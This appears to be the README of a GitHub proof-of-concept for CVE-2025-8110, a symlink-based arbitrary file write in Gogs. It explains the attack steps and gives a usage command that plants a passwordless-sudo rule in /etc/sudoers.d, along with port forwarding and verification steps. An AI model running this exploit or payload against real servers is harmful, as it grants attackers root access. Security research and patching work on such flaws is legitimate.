Shirouuu/CVE-2025-8110-gogs-poc
GitHub: Shirouuu/CVE-2025-8110-gogs-poc
CVE-2025-8110 的 PoC 利用脚本,通过符号链接绕过 Gogs 仓库边界实现任意文件写入。
Stars: 5 | Forks: 0
# CVE-2025-8110 — Gogs 任意文件写入 (PoC)
[Gogs](https://gogs.io/) 中经过身份验证的任意文件写入的概念验证。
通过推送一个包含指向仓库外部符号链接的仓库,然后通过 API 更新该链接的内容,
经过身份验证的用户可以利用运行 Gogs 的账户权限覆盖主机上的文件。
## 工作原理
1. 使用现有账户对 Gogs 进行身份验证。
2. 从用户设置中生成一个 application (API) token。
3. 创建一个仓库。
4. 添加一个 symlink (`malicious_link -> /path/on/host`) 并将其推送。
5. 向 Contents API 发送一个 `PUT` 请求来更新 `malicious_link`。Gogs 会跟随 symlink 并以自身的权限将提供的内容写入目标路径。如果 Gogs 以 root 权限运行,这就是一个直接的权限提升原语(例如,将一个规则放入 `/etc/sudoers.d/` 中)。
API `PUT` 请求才是实际触发写入的操作;而推送仅用于放置 symlink。
## 环境要求
- Python 3.8+
- PATH 中可用 `git`
- 一个现有的 Gogs 账户(目标实例上可能已禁用注册功能)
```
pip install -r requirements.txt
```
## 使用方法
```
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user \
--password '' \
--target /etc/sudoers.d/pwned \
--payload ' ALL=(ALL) NOPASSWD: ALL'
```
省略 `--password` 参数将会以安全方式提示输入,而不是在命令行中明文传递。
### 访问内部 Gogs 实例
目标上的 Gogs 通常绑定到 localhost。使用 SSH 本地端口转发将其暴露给您的机器(根据目标情况调整端口):
```
ssh -L 3000:127.0.0.1:3000 user@target
# 然后将 exploit 指向 http://127.0.0.1:3000
```
### 验证写入
成功运行后,在主机上检查(以相关用户身份):
```
cat /etc/sudoers.d/pwned
sudo -l
```
如果您写入的是 sudoers 规则,请注意 `/etc/sudoers.d/` 中的文件必须是有效的,并且要具有适当的权限,`sudo` 才会生效。
## 注意事项 / 故障排除
- **`auto_init` 返回 HTTP 500** — 脚本将回退到创建一个空仓库,并通过本地 `git init` + 推送来填充内容。
- **推送被拒绝 (non-fast-forward)** — 脚本会与远程仓库进行同步并重试;它也能处理 `master` 与 `main` 的情况。
- **未找到 CSRF token** — 通常意味着目标/端口错误(您访问的是其他服务)或者会话未通过身份验证。
## 缓解措施
升级到会在 Contents API 中验证 symlink 的 Gogs 版本。作为纵深防御,请避免以 root 身份运行 Gogs,并对仓库存储进行隔离。
## 许可证
MIT — 见 `LICENSE`。
标签:Gogs, PoC, Python, 无后门, 暴力破解, 网络安全研究, 逆向工具